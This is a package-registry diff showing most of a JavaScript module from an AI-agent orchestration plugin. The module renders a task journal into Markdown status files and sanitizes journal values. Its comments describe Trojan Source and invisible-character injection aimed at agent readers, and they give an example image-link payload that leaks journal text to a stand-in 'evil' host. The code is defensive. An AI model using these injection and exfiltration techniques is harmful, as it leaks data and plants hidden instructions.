@jjanczur/tyran 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (54) hide show
  1. package/.claude-plugin/marketplace.json +22 -0
  2. package/.claude-plugin/plugin.json +22 -0
  3. package/CHANGELOG.md +245 -0
  4. package/LICENSE +201 -0
  5. package/README.md +468 -0
  6. package/agents/.gitkeep +0 -0
  7. package/agents/implementer.md +60 -0
  8. package/agents/retro.md +88 -0
  9. package/agents/reviewer.md +55 -0
  10. package/agents/scout.md +60 -0
  11. package/bin/tyran.mjs +172 -0
  12. package/hooks/HOOK-CONTRACT-MEASURED.md +377 -0
  13. package/hooks/hooks.json +83 -0
  14. package/hooks/scripts/.gitkeep +0 -0
  15. package/hooks/scripts/evidence-gate.mjs +705 -0
  16. package/hooks/scripts/hook-io.mjs +813 -0
  17. package/hooks/scripts/policy-gate.mjs +1402 -0
  18. package/hooks/scripts/pre-compact.mjs +211 -0
  19. package/hooks/scripts/retro-gate.mjs +191 -0
  20. package/hooks/scripts/secrets-gate.mjs +1683 -0
  21. package/hooks/scripts/session-start.mjs +358 -0
  22. package/hooks/scripts/write-guard.mjs +475 -0
  23. package/package.json +52 -0
  24. package/scripts/desc-budget.mjs +139 -0
  25. package/scripts/doctor.mjs +1267 -0
  26. package/scripts/hooks-check.mjs +1312 -0
  27. package/scripts/invisible.mjs +346 -0
  28. package/scripts/journal.mjs +747 -0
  29. package/scripts/project.mjs +981 -0
  30. package/scripts/scan-control-chars.mjs +547 -0
  31. package/scripts/scan-repo.mjs +287 -0
  32. package/scripts/schema.mjs +467 -0
  33. package/scripts/stop-check.mjs +89 -0
  34. package/scripts/tiers.mjs +324 -0
  35. package/scripts/yaml-lite.mjs +383 -0
  36. package/skills/browser-check/SKILL.md +118 -0
  37. package/skills/code-review/SKILL.md +83 -0
  38. package/skills/deslop/SKILL.md +97 -0
  39. package/skills/doctor/SKILL.md +35 -0
  40. package/skills/fidelity-gate/SKILL.md +132 -0
  41. package/skills/hello/SKILL.md +16 -0
  42. package/skills/pr-feedback/SKILL.md +85 -0
  43. package/skills/prompt-tuning/SKILL.md +102 -0
  44. package/skills/retro/SKILL.md +69 -0
  45. package/skills/root-cause/SKILL.md +89 -0
  46. package/skills/run/SKILL.md +285 -0
  47. package/skills/setup/SKILL.md +79 -0
  48. package/skills/skill-writing/SKILL.md +99 -0
  49. package/skills/status/SKILL.md +31 -0
  50. package/templates/.gitkeep +0 -0
  51. package/templates/config.yaml +44 -0
  52. package/templates/knowledge.yaml +23 -0
  53. package/templates/policies/autonomy.yaml +61 -0
  54. package/templates/project-command/SKILL.md +16 -0
@@ -0,0 +1,981 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * project — deterministic Markdown projections of a Tyran journal.
4
+ *
5
+ * The journal (`journal.jsonl`) is the only source of truth. `STATE.md` and
6
+ * `PROGRESS.md` are disposable views of it: regenerate them at any time,
7
+ * never edit them by hand. Design rules (see docs/projections.md):
8
+ * - deterministic: same journal bytes -> same output bytes, always;
9
+ * - idempotent: re-running on an unchanged journal rewrites identical files;
10
+ * - crash-tolerant: a truncated final line, corrupt lines, unknown event
11
+ * types and non-object events are reported, never fatal;
12
+ * - lossless: every event type in the closed set lands in a rendered
13
+ * section, and anything unrecognized is counted in plain sight.
14
+ *
15
+ * CLI:
16
+ * node project.mjs <journal.jsonl> [--out-dir <dir>] [--check]
17
+ * Exit: 0 ok · 1 projections drifted (--check) · 2 usage/IO error
18
+ */
19
+ import {
20
+ existsSync,
21
+ mkdirSync,
22
+ readFileSync,
23
+ realpathSync,
24
+ renameSync,
25
+ statSync,
26
+ unlinkSync,
27
+ writeFileSync,
28
+ } from 'node:fs';
29
+ import { dirname, join, resolve } from 'node:path';
30
+ import { fileURLToPath } from 'node:url';
31
+ import { readJournal, pairSpawns } from './journal.mjs';
32
+ import { escapeInvisible } from './invisible.mjs';
33
+
34
+ /** Projection file names. Both are fully generated — never hand-edited. */
35
+ export const STATE_FILE = 'STATE.md';
36
+ export const PROGRESS_FILE = 'PROGRESS.md';
37
+
38
+ const GENERATED_HEADER =
39
+ '<!-- GENERATED by tyran scripts/project.mjs - DO NOT EDIT. Source of truth: journal.jsonl -->\n' +
40
+ '<!-- Regenerate: node scripts/project.mjs <journal.jsonl> --out-dir <dir> -->\n';
41
+
42
+ /** Gate results that count as closed. Anything else keeps the gate OPEN. */
43
+ const GATE_PASS = new Set(['pass', 'passed', 'ok', 'green', 'approved', 'closed']);
44
+
45
+ /** Longest inline value rendered in a cell or list item, in codepoints. */
46
+ const MAX_CELL = 160;
47
+
48
+ /** Milestones rendered in PROGRESS.md; older ones are omitted VISIBLY. */
49
+ const MILESTONE_TYPES = new Set(['init.created', 'plan.accepted', 'gate', 'merge', 'checkpoint']);
50
+ const MAX_MILESTONES = 50;
51
+
52
+ // ------------------------------------------------------------- rendering
53
+
54
+ /**
55
+ * The shared core of every operator-facing rendering: one line, nothing
56
+ * invisible, bounded length.
57
+ *
58
+ * This is where the ONE invisibility policy is applied, for the document and
59
+ * for the terminal alike. What is NOT shared is the medium's own escaping —
60
+ * pipes, backticks and angle brackets are hazards in a Markdown table and
61
+ * ordinary punctuation on stderr — and that is a different question from "is
62
+ * this codepoint invisible", not a second answer to it. Keeping the two apart
63
+ * is the same distinction this module already draws between the invisibility
64
+ * rule and the disjoint whitespace rule (ADR-21).
65
+ */
66
+ function oneLine(value) {
67
+ let s;
68
+ if (typeof value === 'string') s = value;
69
+ else if (Array.isArray(value)) s = value.map((v) => (typeof v === 'string' ? v : JSON.stringify(v))).join(', ');
70
+ else s = JSON.stringify(value) ?? String(value);
71
+ // Every invisible codepoint becomes its visible escape notation. An
72
+ // unterminated RLO would otherwise mirror every following column of a table
73
+ // row — or every following character of a terminal line — so a journal value
74
+ // could rewrite the document a human reads (Trojan Source); and a TAG
75
+ // character would carry readable ASCII straight past a reader who cannot see
76
+ // it at all. These documents are read by AGENTS, and their content travels
77
+ // from subagent reports about FOREIGN repositories.
78
+ //
79
+ // Escaped, not deleted, and that is a decision with a reason: silent removal
80
+ // made a poisoned value and a clean one render identically. See
81
+ // escapeInvisible in scripts/invisible.mjs for the full argument.
82
+ //
83
+ // The membership list used to be a character class maintained BY HAND, right
84
+ // here, and it was the weakest of the three spellings of the rule: it removed
85
+ // 106 codepoints where the CI scanner removed 475, and it passed the entire
86
+ // TAG block (U-46). One answer now, and no list here to fall behind it.
87
+ //
88
+ // Whitespace collapsing is a SEPARATE normalization: a tab and a newline are
89
+ // VISIBLE characters that would break a row or a log line, so they are
90
+ // folded, not banned.
91
+ s = escapeInvisible(s)
92
+ .replace(/\s+/g, ' ')
93
+ .trim();
94
+ const cps = Array.from(s);
95
+ if (cps.length > MAX_CELL) s = cps.slice(0, MAX_CELL - 1).join('') + '…';
96
+ return s;
97
+ }
98
+
99
+ /**
100
+ * Make any journal value safe for one line of STDERR.
101
+ *
102
+ * Same invisibility policy as `inline()`, without the Markdown escaping that
103
+ * would put `&lt;` in front of a human reading a terminal. A warning is an
104
+ * operator-facing channel and gets exactly the same protection the documents
105
+ * get — which it did not have until a security review put 37 invisible
106
+ * codepoints, and a reconstructable "DELETE THE JOURNAL", on that terminal.
107
+ */
108
+ export function inlinePlain(value) {
109
+ if (value === undefined || value === null) return '(none)';
110
+ const s = oneLine(value);
111
+ return s === '' ? '(none)' : s;
112
+ }
113
+
114
+ /**
115
+ * Make any journal value safe for one Markdown line: no newlines (they would
116
+ * break a table row), no pipes/backticks (they would break the columns), no
117
+ * `<`/`>` (they could close the GENERATED comment or inject HTML), no `[`/`]`
118
+ * (Markdown link/image syntax reaching a remote host), no bidi overrides or
119
+ * zero-width characters (Trojan Source), and a hard length cap so one huge
120
+ * `data` field cannot produce a megabyte-wide table.
121
+ */
122
+ export function inline(value) {
123
+ if (value === undefined || value === null) return '&mdash;';
124
+ const s = oneLine(value);
125
+ if (s === '') return '&mdash;';
126
+ return s
127
+ .replace(/&/g, '&amp;')
128
+ .replace(/</g, '&lt;')
129
+ .replace(/>/g, '&gt;')
130
+ .replace(/\\/g, '&#92;')
131
+ .replace(/\|/g, '&#124;')
132
+ .replace(/`/g, '&#96;')
133
+ // `[` and `]` disarm Markdown link/image syntax: without this a journal
134
+ // value could render as <img src="https://evil/?leak=..."> in GitHub or
135
+ // VS Code — a read beacon plus an exfiltration channel for journal text.
136
+ .replace(/\[/g, '&#91;')
137
+ .replace(/\]/g, '&#93;');
138
+ }
139
+
140
+ /** Natural order (`T-2` before `T-10`), total and deterministic. */
141
+ export function naturalCompare(a, b) {
142
+ const ax = String(a).match(/\d+|\D+/g) ?? [];
143
+ const bx = String(b).match(/\d+|\D+/g) ?? [];
144
+ for (let i = 0; i < Math.max(ax.length, bx.length); i++) {
145
+ const x = ax[i];
146
+ const y = bx[i];
147
+ if (x === undefined) return -1;
148
+ if (y === undefined) return 1;
149
+ if (x === y) continue;
150
+ const isNum = /^\d+$/.test(x) && /^\d+$/.test(y);
151
+ if (isNum) {
152
+ const d = Number(x) - Number(y);
153
+ if (d !== 0) return d < 0 ? -1 : 1;
154
+ } else return x < y ? -1 : 1;
155
+ }
156
+ return 0;
157
+ }
158
+
159
+ /** Stable sort by a natural key; ties keep their original (journal) order. */
160
+ function sortByKey(items, keyOf) {
161
+ return items
162
+ .map((item, i) => [item, i])
163
+ .sort((a, b) => naturalCompare(keyOf(a[0]), keyOf(b[0])) || a[1] - b[1])
164
+ .map(([item]) => item);
165
+ }
166
+
167
+ /** A Markdown table, or an explicitly empty marker — never a hidden section. */
168
+ function table(headers, rows) {
169
+ if (rows.length === 0) return '_none_\n';
170
+ const head = `| ${headers.join(' | ')} |\n|${headers.map(() => '---').join('|')}|\n`;
171
+ return head + rows.map((r) => `| ${r.join(' | ')} |\n`).join('');
172
+ }
173
+
174
+ function list(items) {
175
+ if (items.length === 0) return '_none_\n';
176
+ return items.map((s) => `- ${s}\n`).join('');
177
+ }
178
+
179
+ // ------------------------------------------------------------------ fold
180
+
181
+ /**
182
+ * Fold a journal read into the projection state. Pure: no clock, no I/O.
183
+ * Every closed-set event type must hit a branch here; anything else is
184
+ * counted in `unknownTypes` so a newer Tyran's events stay visible to an
185
+ * older projector instead of vanishing.
186
+ */
187
+ export function fold({ events = [], truncatedTail = false, badLines = [] } = {}) {
188
+ const state = {
189
+ initiatives: [],
190
+ total: 0,
191
+ malformed: 0,
192
+ byType: new Map(),
193
+ unknownTypes: new Map(),
194
+ truncatedTail,
195
+ corruptLines: badLines.length,
196
+ firstTs: null,
197
+ lastTs: null,
198
+ lastEvent: null,
199
+ checkpoint: null,
200
+ planAccepted: null,
201
+ created: null,
202
+ tickets: new Map(),
203
+ agents: [],
204
+ gates: new Map(),
205
+ leases: new Map(),
206
+ mismatchedReleases: [],
207
+ decisions: [],
208
+ retro: [],
209
+ errors: [],
210
+ milestones: [],
211
+ unusableAgentNames: [],
212
+ ambiguousAgents: [],
213
+ };
214
+
215
+ /**
216
+ * Who is still working is answered ONCE, by journal.pairSpawns, and rendered
217
+ * here (ADR-21). This function used to compute its own answer with its own
218
+ * rule — "prefer the running spawn of that agent working on THAT ticket,
219
+ * else the oldest open spawn of the same name" — while pairSpawns paired
220
+ * strictly FIFO by name and excluded unusable names outright. The two
221
+ * disagreed on both axes, and the operator got both answers at once: for a
222
+ * spawn whose agent name carried a zero-width joiner, STATE.md said
223
+ * **running (no report yet)** while doctor, reading pairSpawns, saw no open
224
+ * spawn at all. Two artefacts that doctor itself produces, contradicting
225
+ * each other about the one question the state layer exists to answer.
226
+ *
227
+ * The ticket-first rule is GONE, not parameterized. Its only stated
228
+ * justification was journals written before ADR-18, which can hold two open
229
+ * spawns of one name — and that population was measured before this change:
230
+ * zero. Not one such journal exists in this repository, in its entire git
231
+ * history, or anywhere on the machine that develops it; the only .jsonl ever
232
+ * committed is the demo fixture, which has one spawn per name. Journals are
233
+ * append-only, so a rule kept "for old files" cannot ever be retired later —
234
+ * it is a permanent second semantics, not a migration window. ADR-18 already
235
+ * makes `append` REFUSE the state ticket-first existed to disambiguate, so
236
+ * the rule was resolving an ambiguity the system had declared illegal, and
237
+ * resolving it differently from every other consumer.
238
+ *
239
+ * When that state does appear (a hand-edited file), it is now REPORTED
240
+ * rather than silently guessed at — see `warnings()` — which is what ADR-18
241
+ * asks for: make the ambiguity visible, do not have each reader guess.
242
+ */
243
+ const paired = pairSpawns(events);
244
+ const reportForSpawn = new Map(paired.pairs.map((p) => [p.spawn, p.report]));
245
+ const orphanReports = new Set(paired.orphanReports);
246
+ const unusableEvents = new Map(paired.unusable.map((u) => [u.event, u.problem]));
247
+ for (const [raw, problem] of paired.badNames) state.unusableAgentNames.push({ raw, problem });
248
+ for (const [agent, count] of paired.ambiguous) state.ambiguousAgents.push({ agent, count });
249
+
250
+ const ticketOf = (id, seenTs) => {
251
+ const key = String(id);
252
+ if (!state.tickets.has(key)) {
253
+ state.tickets.set(key, {
254
+ id: key,
255
+ declared: false,
256
+ title: null,
257
+ deps: null,
258
+ agents: [],
259
+ report: null,
260
+ review: null,
261
+ merge: null,
262
+ lastTs: seenTs ?? null,
263
+ });
264
+ }
265
+ const t = state.tickets.get(key);
266
+ if (seenTs) t.lastTs = seenTs;
267
+ return t;
268
+ };
269
+
270
+ for (const event of events) {
271
+ if (typeof event !== 'object' || event === null || Array.isArray(event)) {
272
+ state.malformed++;
273
+ continue;
274
+ }
275
+ state.total++;
276
+ const ev = typeof event.ev === 'string' ? event.ev : '(missing ev)';
277
+ const ts = typeof event.ts === 'string' ? event.ts : null;
278
+ const actor = typeof event.actor === 'string' ? event.actor : null;
279
+ const data = typeof event.data === 'object' && event.data !== null && !Array.isArray(event.data) ? event.data : {};
280
+ state.byType.set(ev, (state.byType.get(ev) ?? 0) + 1);
281
+ if (typeof event.init === 'string' && event.init !== '' && !state.initiatives.includes(event.init)) {
282
+ state.initiatives.push(event.init);
283
+ }
284
+ if (ts) {
285
+ if (state.firstTs === null) state.firstTs = ts;
286
+ state.lastTs = ts;
287
+ }
288
+ state.lastEvent = { ev, ts, actor };
289
+ if (MILESTONE_TYPES.has(ev)) state.milestones.push({ ev, ts, actor, data });
290
+
291
+ switch (ev) {
292
+ case 'init.created':
293
+ state.created = { ts, actor, data };
294
+ break;
295
+ case 'plan.accepted':
296
+ state.planAccepted = { ts, actor, data };
297
+ break;
298
+ case 'ticket.created': {
299
+ const t = ticketOf(data.id ?? '(no id)', ts);
300
+ t.declared = true;
301
+ t.title = data.title ?? data.text ?? null;
302
+ t.deps = Array.isArray(data.deps) ? data.deps : null;
303
+ break;
304
+ }
305
+ case 'spawn': {
306
+ const agent = {
307
+ agent: data.agent ?? '(no agent)',
308
+ role: data.role ?? null,
309
+ model: data.model ?? null,
310
+ ticket: data.ticket ?? null,
311
+ worktree: data.worktree ?? null,
312
+ spawnTs: ts,
313
+ status: 'running',
314
+ verdict: null,
315
+ reportTs: null,
316
+ };
317
+ // An unusable name is NOT a correlator, so pairSpawns excludes it — and
318
+ // this row must say so. The two answers that were available were
319
+ // "invisible" and "running", and the operator was getting both. It is
320
+ // neither: a silent exclusion is the failure ADR-19 correction 1
321
+ // forbids outright ("a skipped item must be counted and named, even on
322
+ // a clean run"), and rendering it as an ordinary running agent is the
323
+ // false picture of state that ADR-18 calls worse than no picture. So:
324
+ // visible, and visibly unusable, in both artefacts.
325
+ if (unusableEvents.has(event)) {
326
+ agent.status = 'unusable agent name (excluded from pairing)';
327
+ } else {
328
+ const report = reportForSpawn.get(event);
329
+ if (report) {
330
+ agent.status = 'reported';
331
+ agent.verdict = report.data?.verdict ?? null;
332
+ agent.reportTs = typeof report.ts === 'string' ? report.ts : null;
333
+ if (agent.ticket == null && report.data?.ticket != null) agent.ticket = report.data.ticket;
334
+ }
335
+ }
336
+ state.agents.push(agent);
337
+ if (data.ticket != null) ticketOf(data.ticket, ts).agents.push(agent.agent);
338
+ break;
339
+ }
340
+ case 'report': {
341
+ // A report that pairSpawns matched to a spawn has already been applied
342
+ // to that spawn's row above — this branch only has to render what
343
+ // pairing left over, so the two never compute the same thing twice.
344
+ if (orphanReports.has(event) || unusableEvents.has(event)) {
345
+ state.agents.push({
346
+ agent: data.agent ?? '(no agent)',
347
+ role: null,
348
+ model: null,
349
+ ticket: data.ticket ?? null,
350
+ worktree: null,
351
+ spawnTs: null,
352
+ status: unusableEvents.has(event)
353
+ ? 'unusable agent name (excluded from pairing)'
354
+ : 'reported (no spawn event)',
355
+ verdict: data.verdict ?? null,
356
+ reportTs: ts,
357
+ });
358
+ }
359
+ if (data.ticket != null) {
360
+ ticketOf(data.ticket, ts).report = { verdict: data.verdict ?? null, ts, by: data.agent ?? actor };
361
+ }
362
+ break;
363
+ }
364
+ case 'gate': {
365
+ const kind = String(data.kind ?? '(no kind)');
366
+ const prev = state.gates.get(kind);
367
+ state.gates.set(kind, {
368
+ kind,
369
+ result: data.result ?? null,
370
+ ts,
371
+ evidence: data.evidence_ref ?? data.evidence ?? null,
372
+ count: (prev?.count ?? 0) + 1,
373
+ });
374
+ break;
375
+ }
376
+ // `review`/`merge` require data.ticket, but a hand-written or older
377
+ // journal may omit it — bucket those under a visible pseudo-ticket
378
+ // instead of dropping the event (silent loss is the worse failure).
379
+ case 'review':
380
+ ticketOf(data.ticket ?? '(no ticket)', ts).review = {
381
+ verdict: data.verdict ?? null,
382
+ by: data.by ?? actor,
383
+ ts,
384
+ };
385
+ break;
386
+ case 'merge':
387
+ ticketOf(data.ticket ?? '(no ticket)', ts).merge = {
388
+ sha: data.sha ?? null,
389
+ mode: data.mode ?? null,
390
+ ts,
391
+ };
392
+ break;
393
+ case 'decision':
394
+ state.decisions.push({ id: data.id ?? '(no id)', text: data.text ?? null, ts, actor });
395
+ break;
396
+ case 'lease.acquired': {
397
+ const key = String(data.resource ?? '(no resource)');
398
+ state.leases.set(key, { resource: key, holder: data.holder ?? null, ts });
399
+ break;
400
+ }
401
+ case 'lease.released': {
402
+ const key = String(data.resource ?? '(no resource)');
403
+ const held = state.leases.get(key);
404
+ // Mirrors journal.tail(): only the current holder can free a lease.
405
+ if (held && held.holder === data.holder) state.leases.delete(key);
406
+ else state.mismatchedReleases.push({ resource: key, by: data.holder ?? null, holder: held?.holder ?? null, ts });
407
+ break;
408
+ }
409
+ case 'checkpoint':
410
+ state.checkpoint = { phase: data.phase ?? null, nextSteps: data.next_steps, ts, actor };
411
+ break;
412
+ case 'retro.entry':
413
+ state.retro.push({ kind: data.kind ?? null, target: data.target ?? null, confidence: data.confidence ?? null, ts });
414
+ break;
415
+ case 'error':
416
+ state.errors.push({ class: data.class ?? null, detail: data.detail ?? null, ts, actor });
417
+ break;
418
+ default:
419
+ state.unknownTypes.set(ev, (state.unknownTypes.get(ev) ?? 0) + 1);
420
+ }
421
+ }
422
+
423
+ const tickets = sortByKey([...state.tickets.values()], (t) => t.id);
424
+ const merged = tickets.filter((t) => t.merge !== null).length;
425
+ state.ticketList = tickets;
426
+ state.merged = merged;
427
+ state.percent = tickets.length === 0 ? 0 : Math.round((merged / tickets.length) * 100);
428
+ state.openGates = [...state.gates.values()].filter(
429
+ (g) => !GATE_PASS.has(String(g.result ?? '').toLowerCase()),
430
+ );
431
+ return state;
432
+ }
433
+
434
+ /** Human-readable status of one ticket, derived from the strongest signal. */
435
+ export function ticketStatus(t) {
436
+ if (t.merge) return `merged (${t.merge.sha ?? 'no sha'})`;
437
+ if (t.review) return `review: ${t.review.verdict ?? 'no verdict'}`;
438
+ if (t.report) return `reported: ${t.report.verdict ?? 'no verdict'}`;
439
+ if (t.agents.length > 0) return 'in progress';
440
+ return 'open';
441
+ }
442
+
443
+ /** The one-line progress banner; also the H1 of PROGRESS.md. */
444
+ export function progressLine(state) {
445
+ const phase = state.checkpoint?.phase ?? null;
446
+ return `PROGRESS: ${state.percent}% · ${state.merged}/${state.ticketList.length} tickets merged · phase: ${
447
+ phase == null || String(phase).trim() === '' ? '(none)' : inline(phase)
448
+ }`;
449
+ }
450
+
451
+ /**
452
+ * Warnings for stderr — surfaced, never fatal.
453
+ *
454
+ * STDERR IS AN OUTPUT CHANNEL, and every journal value that reaches it goes
455
+ * through `inline()` exactly like a value reaching a document.
456
+ *
457
+ * That was not true until a security review demonstrated it. `ev` and
458
+ * `init` were interpolated RAW here, and a journal carrying a right-to-left
459
+ * override plus 18 TAG characters in those fields put 37 invisible codepoints
460
+ * on the operator's terminal, spelling "DELETE THE JOURNAL" where nothing was
461
+ * visible, with the override mirroring the rest of the line. Twenty-eight
462
+ * lines below, `initiativeName()` was passing the very same `state.initiatives`
463
+ * through `inline()` on its way into the document — the same value, sanitized
464
+ * for the file and raw for the human, inside one function. That is the third
465
+ * spelling of the rule reappearing as a third spelling of WHERE the rule
466
+ * applies, which is the same defect wearing different clothes (ADR-21).
467
+ *
468
+ * The fuzz that should have caught it swept `STATE.md` and `PROGRESS.md`. The
469
+ * channel it did not sweep was the one that leaked, so the fuzz now sweeps
470
+ * every channel this module can write to.
471
+ */
472
+ export function warnings(state) {
473
+ const out = [];
474
+ if (state.truncatedTail) out.push('journal has a truncated final line (crash mid-write) — it was skipped');
475
+ if (state.corruptLines > 0) out.push(`journal has ${state.corruptLines} corrupt line(s) mid-file — they were skipped`);
476
+ if (state.malformed > 0) out.push(`${state.malformed} line(s) parsed to a non-object value — they were skipped`);
477
+ for (const [ev, n] of sortByKey([...state.unknownTypes.entries()], (e) => e[0])) {
478
+ out.push(`unknown event type "${inlinePlain(ev)}" x${n} — counted but not folded (newer Tyran?)`);
479
+ }
480
+ if (state.initiatives.length > 1) {
481
+ out.push(
482
+ `journal mixes ${state.initiatives.length} initiatives: ${state.initiatives.map((i) => inlinePlain(i)).join(', ')}`,
483
+ );
484
+ }
485
+ if (state.mismatchedReleases.length > 0) {
486
+ out.push(`${state.mismatchedReleases.length} lease release(s) by a non-holder — leases stay open`);
487
+ }
488
+ // Never silent (ADR-19 correction 1): an event excluded from spawn/report
489
+ // pairing is exactly the fact a reader must not have to infer from an
490
+ // unexplained gap in the table.
491
+ for (const { raw, problem } of state.unusableAgentNames) {
492
+ out.push(`unusable data.agent ${inlinePlain(raw)}: ${problem} — excluded from spawn/report pairing`);
493
+ }
494
+ // The state ADR-18 makes unrepresentable through `append`, and which the
495
+ // projection no longer silently guesses at now that ticket-first is gone.
496
+ for (const { agent, count } of state.ambiguousAgents) {
497
+ out.push(
498
+ `agent ${inlinePlain(agent)} has ${count} open spawns — the journal was hand-edited or written ` +
499
+ 'before ADR-18; spawn/report pairing for this name is ambiguous and reports pair oldest-first',
500
+ );
501
+ }
502
+ return out;
503
+ }
504
+
505
+ // ------------------------------------------------------------- documents
506
+
507
+ function initiativeName(state) {
508
+ if (state.initiatives.length === 0) return '(none)';
509
+ return state.initiatives.map((i) => inline(i)).join(', ');
510
+ }
511
+
512
+ function renderState(state) {
513
+ const cp = state.checkpoint;
514
+ const parts = [GENERATED_HEADER, `\n# STATE — ${initiativeName(state)}\n`];
515
+
516
+ parts.push('\n## Checkpoint\n\n');
517
+ parts.push(
518
+ list([
519
+ `**Phase:** ${cp ? inline(cp.phase) : '_none_'}`,
520
+ `**Checkpoint written:** ${cp ? inline(cp.ts) : '_none_'} by ${cp ? inline(cp.actor) : '_none_'}`,
521
+ `**Last journal event:** ${state.lastEvent ? `\`${inline(state.lastEvent.ev)}\`` : '_none_'} at ${
522
+ state.lastEvent ? inline(state.lastEvent.ts) : '_none_'
523
+ } by ${state.lastEvent ? inline(state.lastEvent.actor) : '_none_'}`,
524
+ `**Plan accepted:** ${state.planAccepted ? inline(state.planAccepted.ts) : '_none_'}`,
525
+ `**Progress:** ${progressLine(state)}`,
526
+ ]),
527
+ );
528
+
529
+ parts.push('\n## Agents\n\n');
530
+ parts.push(
531
+ table(
532
+ ['Agent', 'Role', 'Model', 'Ticket', 'Worktree', 'Status', 'Spawned'],
533
+ sortByKey(state.agents, (a) => `${a.agent} ${a.spawnTs ?? ''}`).map((a) => [
534
+ inline(a.agent),
535
+ inline(a.role),
536
+ inline(a.model),
537
+ inline(a.ticket),
538
+ inline(a.worktree),
539
+ a.status === 'running'
540
+ ? '**running (no report yet)**'
541
+ : `${inline(a.status)}${a.verdict == null ? '' : `: ${inline(a.verdict)}`}`,
542
+ inline(a.spawnTs),
543
+ ]),
544
+ ),
545
+ );
546
+
547
+ parts.push('\n## Ledger\n\n');
548
+ parts.push(
549
+ table(
550
+ ['Ticket', 'Title', 'Status', 'Deps', 'Agents', 'Last event'],
551
+ state.ticketList.map((t) => [
552
+ `\`${inline(t.id)}\`${t.declared ? '' : ' _(no ticket.created)_'}`,
553
+ inline(t.title),
554
+ inline(ticketStatus(t)),
555
+ inline(t.deps),
556
+ inline(t.agents.length === 0 ? null : t.agents),
557
+ inline(t.lastTs),
558
+ ]),
559
+ ),
560
+ );
561
+
562
+ parts.push('\n## Open gates\n\n');
563
+ parts.push(
564
+ table(
565
+ ['Gate', 'Latest result', 'At', 'Evidence'],
566
+ sortByKey(state.openGates, (g) => g.kind).map((g) => [
567
+ inline(g.kind),
568
+ inline(g.result),
569
+ inline(g.ts),
570
+ inline(g.evidence),
571
+ ]),
572
+ ),
573
+ );
574
+
575
+ parts.push('\n## All gates\n\n');
576
+ parts.push(
577
+ table(
578
+ ['Gate', 'Latest result', 'Events', 'At'],
579
+ sortByKey([...state.gates.values()], (g) => g.kind).map((g) => [
580
+ inline(g.kind),
581
+ inline(g.result),
582
+ String(g.count),
583
+ inline(g.ts),
584
+ ]),
585
+ ),
586
+ );
587
+
588
+ parts.push('\n## Open leases\n\n');
589
+ parts.push(
590
+ table(
591
+ ['Resource', 'Holder', 'Acquired'],
592
+ sortByKey([...state.leases.values()], (l) => l.resource).map((l) => [
593
+ inline(l.resource),
594
+ inline(l.holder),
595
+ inline(l.ts),
596
+ ]),
597
+ ),
598
+ );
599
+
600
+ parts.push('\n## Lease releases by a non-holder\n\n');
601
+ parts.push(
602
+ table(
603
+ ['Resource', 'Released by', 'Actual holder', 'At'],
604
+ state.mismatchedReleases.map((m) => [inline(m.resource), inline(m.by), inline(m.holder), inline(m.ts)]),
605
+ ),
606
+ );
607
+
608
+ parts.push('\n## Decisions\n\n');
609
+ parts.push(
610
+ table(
611
+ ['ID', 'Decision', 'At', 'By'],
612
+ sortByKey(state.decisions, (d) => d.id).map((d) => [
613
+ `\`${inline(d.id)}\``,
614
+ inline(d.text),
615
+ inline(d.ts),
616
+ inline(d.actor),
617
+ ]),
618
+ ),
619
+ );
620
+
621
+ parts.push('\n## Retro entries\n\n');
622
+ parts.push(
623
+ table(
624
+ ['Kind', 'Target', 'Confidence', 'At'],
625
+ state.retro.map((r) => [inline(r.kind), inline(r.target), inline(r.confidence), inline(r.ts)]),
626
+ ),
627
+ );
628
+
629
+ parts.push('\n## Errors\n\n');
630
+ parts.push(
631
+ table(
632
+ ['Class', 'Detail', 'At', 'By'],
633
+ state.errors.map((e) => [inline(e.class), inline(e.detail), inline(e.ts), inline(e.actor)]),
634
+ ),
635
+ );
636
+
637
+ parts.push('\n## Resume steps\n\n');
638
+ const steps = cp?.nextSteps;
639
+ const stepList = Array.isArray(steps) ? steps : steps == null || steps === '' ? [] : [steps];
640
+ parts.push(stepList.length === 0 ? '_none_\n' : stepList.map((s, i) => `${i + 1}. ${inline(s)}\n`).join(''));
641
+
642
+ parts.push('\n## Journal integrity\n\n');
643
+ const typeCounts = sortByKey([...state.byType.entries()], (e) => e[0]).map(
644
+ ([ev, n]) => `\`${inline(ev)}\` ${n}`,
645
+ );
646
+ parts.push(
647
+ list([
648
+ `**Events folded:** ${state.total}`,
649
+ `**Unknown event types:** ${state.unknownTypes.size === 0 ? '0' : inline([...state.unknownTypes.keys()].join(', '))}`,
650
+ `**Non-object lines skipped:** ${state.malformed}`,
651
+ `**Corrupt lines skipped:** ${state.corruptLines}`,
652
+ `**Truncated final line:** ${state.truncatedTail ? 'yes (crash mid-write; skipped)' : 'no'}`,
653
+ `**Timespan:** ${inline(state.firstTs)} → ${inline(state.lastTs)}`,
654
+ `**Events by type:** ${typeCounts.length === 0 ? '_none_' : typeCounts.join(' · ')}`,
655
+ ]),
656
+ );
657
+ return parts.join('');
658
+ }
659
+
660
+ function milestoneSummary(m) {
661
+ const d = m.data ?? {};
662
+ switch (m.ev) {
663
+ case 'init.created':
664
+ return inline(d.title ?? 'initiative opened');
665
+ case 'plan.accepted':
666
+ return inline('plan accepted');
667
+ case 'gate':
668
+ return `${inline(d.kind)} → ${inline(d.result)}`;
669
+ case 'merge':
670
+ return `${inline(d.ticket)} → ${inline(d.sha)}`;
671
+ case 'checkpoint':
672
+ return `phase ${inline(d.phase)}`;
673
+ default:
674
+ return '&mdash;';
675
+ }
676
+ }
677
+
678
+ function renderProgress(state) {
679
+ const parts = [GENERATED_HEADER, `\n# ${progressLine(state)}\n`];
680
+ parts.push(`\nInitiative: **${initiativeName(state)}** · see \`${STATE_FILE}\` for the full state.\n`);
681
+
682
+ parts.push('\n## Tickets\n\n');
683
+ parts.push(
684
+ state.ticketList.length === 0
685
+ ? '_none_\n'
686
+ : state.ticketList
687
+ .map((t) => `- [${t.merge ? 'x' : ' '}] \`${inline(t.id)}\` — ${inline(ticketStatus(t))}${
688
+ t.title ? ` — ${inline(t.title)}` : ''
689
+ }\n`)
690
+ .join(''),
691
+ );
692
+
693
+ parts.push('\n## Open gates\n\n');
694
+ parts.push(
695
+ sortByKey(state.openGates, (g) => g.kind).length === 0
696
+ ? '_none_\n'
697
+ : sortByKey(state.openGates, (g) => g.kind)
698
+ .map((g) => `- **${inline(g.kind)}** — ${inline(g.result)} (${inline(g.ts)})\n`)
699
